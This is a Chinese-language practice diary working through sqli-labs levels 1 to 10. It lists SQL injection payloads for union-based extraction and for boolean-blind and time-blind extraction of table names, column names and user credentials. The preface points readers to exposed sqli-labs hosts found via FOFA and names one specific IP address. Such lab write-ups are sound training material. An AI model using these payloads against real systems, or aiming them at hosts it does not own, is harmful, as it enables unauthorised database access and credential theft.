sqli-labs 刷题日记
前言
fofa直接搜,一搜一大堆
body="/Less-1/"&&title="sql"出来ip之后直接访问相关/Less-1/然后传参id就可以了
这里附上我找到的
http://107.173.15.177:9002/Less-1/?id=1流程
判断是否存在 : 一个单引号回显报错,两个单引号回显正常
//判断闭合 : 尽量用'or '1'='2这种不影响逻辑的闭合
然后判断列数 :order by 3 --+
然后判断显示位 :' union select 1,2,3 --+
常用
group_concat() 是 MySQL 中用于聚合多行数据为单字符串的核心函数
很多时候我们没有办法很好的去处理显示位和数据select之后回显的关系,可以用group_concat
group_concat(table_name) from information_schema.tables where table_schema='security'
获得相关的表名
select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获得列名通用核心表
| 数据库 | 表名/视图名 | 作用 | 关键字段 |
|---|---|---|---|
| MySQL/MariaDB | information_schema.tables | 所有表信息 | table_schema (库名), table_name |
| information_schema.columns | 所有列信息 | table_name, column_name | |
| information_schema.schemata | 所有数据库信息 | schema_name | |
| PostgreSQL | information_schema.tables | 所有表信息 | table_catalog (库名), table_name |
| information_schema.columns | 所有列信息 | table_name, column_name | |
| MS SQL Server | information_schema.tables | 所有表信息 | table_catalog, table_name |
| information_schema.columns | 所有列信息 | table_name, column_name | |
| Oracle | all_tables | 当前用户可见的表 | owner (库名), table_name` |
| all_tab_columns | 当前用户可见的列 | table_name, column_name |
正式开始做题
less-1
大概sqli-lab长成这个样子,既然是第一题,那就摆一张图吧

/Less-1/?id=-1%27union%20select%201,2,group_concat(username,password)%20from%20users--+less-2
第二关是数字型,不需要闭合


可以看到输入了
id=1
id=1/1
id=1/0
id=1*2可以被正常识别
?id=1 order by 3 判断出列数量
?id=-1 union select 1,2,3--+ 判断列的显示位
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 从information_schema中查找出相关的表名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'less-3
这一关除了单引号还有一个)去做闭合
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username,password) from users--+less-4
此处我们发现是""双引号闭合外加括号闭合
但是基本上逻辑都是一样的
?id=1")
?id=1") order by 3 --+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema ='security' --+
?id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' --+
?id=-1") union select 1,2,group_concat(username,password)from users--+less-5
联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注
通常主要用到三个函数:length(),ascii(),substr()
substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度
首先通过length()函数确定长度再通过另外两个确定具体字符是什么
主要的提速手段是通过大于号小于号<>来做二分法确认
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#s布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。less-6
主要的区别是闭合的是单引号和双引号,和第五关没区别
less-7
第七关主要考你判断闭合
注意:一般这种闭合的思路就是先闭合字符串再闭合语句
比如:
select * from tables where id = ''那你的闭合就应该是先把 id = '' 这部分给闭合了,然后再去猜测)的数量
因为闭合就两三种,要么是'要么是"要么是)
所以这里猜测过程是
id=1' 报错
id=1''不报错
---
到这里就可以判断有sql注入
---
id=1'--+ 报错
id=1')--+报错
id=1'))--+不报错
---
到这里可以判断出是通过'))来闭合
---如果一开始,测试'不报错,那就说明是双引号
在src里面,可以一次性输入')")来判断是否存在sql注入
对于这题而言,我们判断出了闭合之后发现还是盲注,那还是和上面less-5一样,略过
less-8
这关和第五关是一样的,都是单引号闭合,但是报错信息不会回显,只有当有错误的时候只有不显示
当正常时:
报错时:
less-9
第九关会发现我们不管输入什么页面显示的东西都是一样的,此处应该用时间盲注
相关函数是:if(a,sleep(10),1) 如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串
此处只是通过时间的回显来判断某个变量的布尔值
可以通过dns外带来加速时间盲注
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容推荐不要手注,直接上sqlmap,纯折磨
less-10
第十关和第九关一样只需要将单引号换成双引号
